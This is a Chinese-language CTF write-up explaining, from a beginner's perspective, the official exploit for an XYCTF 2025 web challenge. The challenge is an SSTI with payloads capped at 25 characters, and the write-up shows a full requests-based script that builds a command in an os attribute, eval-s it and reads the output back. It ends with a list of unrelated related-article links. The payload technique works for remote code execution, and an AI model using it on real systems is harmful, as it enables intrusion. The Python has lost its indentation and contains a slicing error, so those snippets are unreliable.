前言

这是一道非常简洁明了的ssti漏洞题目,就是要求攻击payload长度不得高于25。在LamentXU大佬的官方wp中写道:

“直接往os里塞字符。随后一起拿出来exec。这样子就可以实现SSTI。”

这对于我这种新手来说理解上是非常抽象且困难的。本篇文章我将记录下我以一个新手的角度理解这道题目的过程

原理

由于python的特性,我们可以将变量赋值给os模块中的属性,这个属性可以是自己新定义的,比如像这样

import os  

# 设置环境变量
os.environ['MY_VARIABLE'] = 'some_value' # 获取环境变量
print(os.environ['MY_VARIABLE']) # 输出: some_value

这样我们就成功将os中的环境变量属性修改成了some_value。

import os

os.a="abc"

print(os.a)

根据这个原理我们可以完成这个题目

我们来一点一点写这个脚本

import os
url=""
payload="__import__('os').system('ls />123')"
p=[payload[i,i+2] for i in range(0,len(payload),2)]

先准备好我们要塞进变量的payload,然后我们把这段payload分成两个两个一组的片段列表,每组的长度取决于拼接代码的总长度,因为拼接的代码也要在payload处执行,所以整个payload的长度不得长于25。

 flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;a+="{i}"'

这一段是我觉得非常巧妙的一个往os.a变量里面塞入字符串的算法,首先令flag的布尔值等于True,然后for i in p遍历p里面的每一个元素,当flag=True的时候,利用a=“{i}”拼接第一个元素进去,此时tmp变量的值为

 \n%import os;os.a="__"

然后将flag的布尔值设置为false,然后利用a+=“{i}”实现往os.a后面拼接剩余字符串的功能。拆分来看就像这样

 \n%import os;os.a="__"
\n%import os;os.a="__im"
\n%import os;os.a="__impo"
\n%import os;os.a="__import"
...
\n%import os;os.a="__import__('os').system('ls />12"
\n%import os;os.a="__import__('os').system('ls />123'"
\n%import os;os.a="__import__('os').system('ls />123')"

我们可以本地修改代码运行一下看看运行结果是否和预期相同

import os

payload="__import__('os').system('cat /f*>222222')"

p=[payload[i:i+4] for i in range(0,len(payload),4)]

flag=True
for i in p:
if flag:
os.a=i
flag=False
else:
os.a+=i
print(os.a)

这个代码是将字符串拆分四个为一组,四个四个向里面添加字符串,可以看到效果和我们预期的一样。如果我们修改的是服务器端os的属性值,我们就可以eval(os.a)直接执行塞入的字符串了。

回到这道题目,我们将tmp的内容发送至服务器端运行

 flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;a+="{i}"'
r=requests.get(url,params={"payload":tmp})

这样就成功拼接上了os.a变量。

这里可能会有一个疑问(反正我研究的时候疑惑了)

为什么这里的代码不能这么写

 flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;a+="{i}"'
r=requests.get(url,params={"payload":tmp})

我们看这样运行会发生什么

可以看到报500错,也就是说执行的命令格式是不正确的

为什么会这样,我们可以print一下tmp看看tmp在这两个位置的差异

可以看到print在for循环里面的时候会将payload以每三个字符为一组循环塞入os.a,也就是说在这个位置执行r = requests.get(url,params={"payload":tmp})的作用就是运行这好几条代码将os.a的值改变成我们想要的字符串。

我们再换个位置

可以看到print放在循环外面只会输出payload被分割后的最后一个部分,如果在这里执行r = requests.get(url,params={"payload":tmp})的话被塞入os.a的只会是    '),自然就无法成功eval执行。

明白了这个地方后我们继续往下做

 r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r=requests.get(url,params={"payload":"\n%import os;include('123')"}).text
print(r)

这样我们就成功拿到了ls /命令的回显。

要用写文件不直接执行的原因是没有回显,所以要写入文件再包含

完整exp

 import requests

url='http://gz.imxbt.cn:20935/attack'

payload="__import__('os').system('ls />123')"


p=[payload[i:i+4] for i in range(0,len(payload),4)]
flag=True
for i in p:
if flag:
tmp=f'\n%import os;os.a="{i}"'
flag=False
else:
tmp=f'\n%import os;os.a+="{i}"'
r=requests.get(url,params={"payload":tmp})
r=requests.get(url,params={"payload":"\n%import os;eval(os.a)"})
r=requests.get(url,params={"payload":"\n%include('123')"}).text
print(r)

[XYCTF 2025 web 出题人已疯]以新手角度快速理解官方exp的解题思路的更多相关文章

  1. 出题人的女装(牛客练习赛38题B) (概率+分式运算)

    链接:https://ac.nowcoder.com/acm/contest/358/B来源:牛客网 出题人的女装 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 524288K,其他 ...

  2. B.出题人的女装

    链接:https://ac.nowcoder.com/acm/contest/358/B 题意: 出题人早上起床就打算穿衣服,他有两箱衣服,因为懒,他在这两天只打算打开一个箱子. 两个箱子中一个有n件 ...

  3. SignalR 实现Web多人聊天室

      ASP .NET SignalR 是一个ASP .NET 下的类库,可以在ASP .NET 的Web项目中实现实时通信.什么是实时通信的Web呢?就是让客户端(Web页面)和服务器端可以互相通知消 ...

  4. 网上搜集了点资料,学web的人互相分享共同进步吧(php编码的好习惯必须养成)

    网上搜集了点资料,学web的人互相分享共同进步吧 一.优秀的代码应该是什么样的? 优秀的PHP代码应该是结构化的.大段的代码应该被分割整理成一个个函数或方法,而那些不起眼的小段代码则应该加上注释,以便 ...

  5. 牛客练习赛38 D 出题人的手环

    链接 [https://ac.nowcoder.com/acm/contest/358/D] 题意 链接:https://ac.nowcoder.com/acm/contest/358/D 来源:牛客 ...

  6. 牛客练习赛38 D 题 出题人的手环 (离散化+树状数组求逆序对+前缀和)

    链接:https://ac.nowcoder.com/acm/contest/358/D来源:牛客网 出题人的手环 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 524288K,其他 ...

  7. 出题人的RP值(牛客练习赛38--A题)(排序)

    链接:https://ac.nowcoder.com/acm/contest/358/A来源:牛客网 题目描述 众所周知,每个人都有自己的rp值(是个非负实数),膜别人可以从别人身上吸取rp值. 然而 ...

  8. 出题人的手环(牛客练习赛38D 离散化+树状数组)

    题目链接(https://ac.nowcoder.com/acm/contest/358/D) 题目描述 出题人的妹子送了出题人一个手环,这个手环上有 n 个珠子,每个珠子上有一个数. 有一天,出题人 ...

  9. 洛谷 P3299 [SDOI2013]保护出题人 解题报告

    P3299 [SDOI2013]保护出题人 题目描述 出题人铭铭认为给SDOI2012出题太可怕了,因为总要被骂,于是他又给SDOI2013出题了. 参加SDOI2012的小朋友们释放出大量的僵尸,企 ...

  10. 【BZOJ3203】[Sdoi2013]保护出题人 二分+凸包

    [BZOJ3203][Sdoi2013]保护出题人 Description Input 第一行两个空格隔开的正整数n和d,分别表示关数和相邻僵尸间的距离.接下来n行每行两个空格隔开的正整数,第i + ...

随机推荐

  1. go 定时任务库 cron

    简介 在Linux中,Cron是计划任务管理系统,通过crontab命令使任务在约定的时间执行已经计划好的工作,例如定时备份系统数据.周期性清理缓存.定时重启服务等. 本文介绍的cron库是一个用于管 ...

  2. Coupled Iterative Refinement for 6D Multi-Object Pose Estimation论文精读

    目录 Coupled Iterative Refinement for 6D Multi-Object Pose Estimation论文精读 论文介绍 Abstract Introduction Re ...

  3. 深入理解Hadoop读书笔记-3

    背景 公司的物流业务系统目前实现了使用storm集群进行过门事件的实时计算处理,但是还有一个需求,我们需要存储每个标签上传的每条明细数据,然后进行定期的标签报表统计,这个是目前的实时计算框架无法满足的 ...

  4. AI可解释性 I | 对抗样本(Adversarial Sample)论文导读(持续更新)

    AI可解释性 I | 对抗样本(Adversarial Sample)论文导读(持续更新) 导言 本文作为AI可解释性系列的第一部分,旨在以汉语整理并阅读对抗攻击(Adversarial Attack ...

  5. .NET 阻止关机机制以及关机前执行业务

    本文主要介绍Windows在关闭时,如何正确.可靠的阻止系统关机以及关机前执行相应业务.因有一些场景需要在关机/重启前执行业务逻辑,确保下次开机时数据的一致性以及可靠性. 以下是实现这一需求的几种方法 ...

  6. java的打包(JAR、War)

    一.Error assembling WAR: webxml attribute is required (or pre-existing WEB-INF/web.xml if executing i ...

  7. git rebae -i

    这个命令大体作用就是对本地的commit进行修改,适用于以下情况: 本地历史排查修改 code review后,打回修改 详解 pick,只是意味着包括提交.重新进行命令时,重新安排pick命令的顺序 ...

  8. WIN10 由于找不到mfc140u.dll,无法继续执行代码

    最近遇到win10提示mfc140u.dll找不到,总是弹窗的问题. 网上一番百度搜索后发现给的方法都不能很好的解决,DLL修复工具需登录且收费 去下载mfc140u.dll 根本不可能找到,都是垃圾 ...

  9. php高级工程师面试题

    转载于:王召波 博客 PHP对象的克隆与引用有什么区别? 摘要: 是这样的,这个问题确切说应该是这样的:" PHP对象的赋值和克隆有什么区别 ",注意不是复制,就是复制,打开窗子说 ...

  10. 17.6K star!后端接口零代码的神器来了,腾讯开源的ORM库太强了!

    嗨,大家好,我是小华同学,关注我们获得"最新.最全.最优质"开源项目和高效工作学习方法 " 实时零代码.全功能.强安全 ORM 库 后端接口和文档零代码,前端定制返回 J ...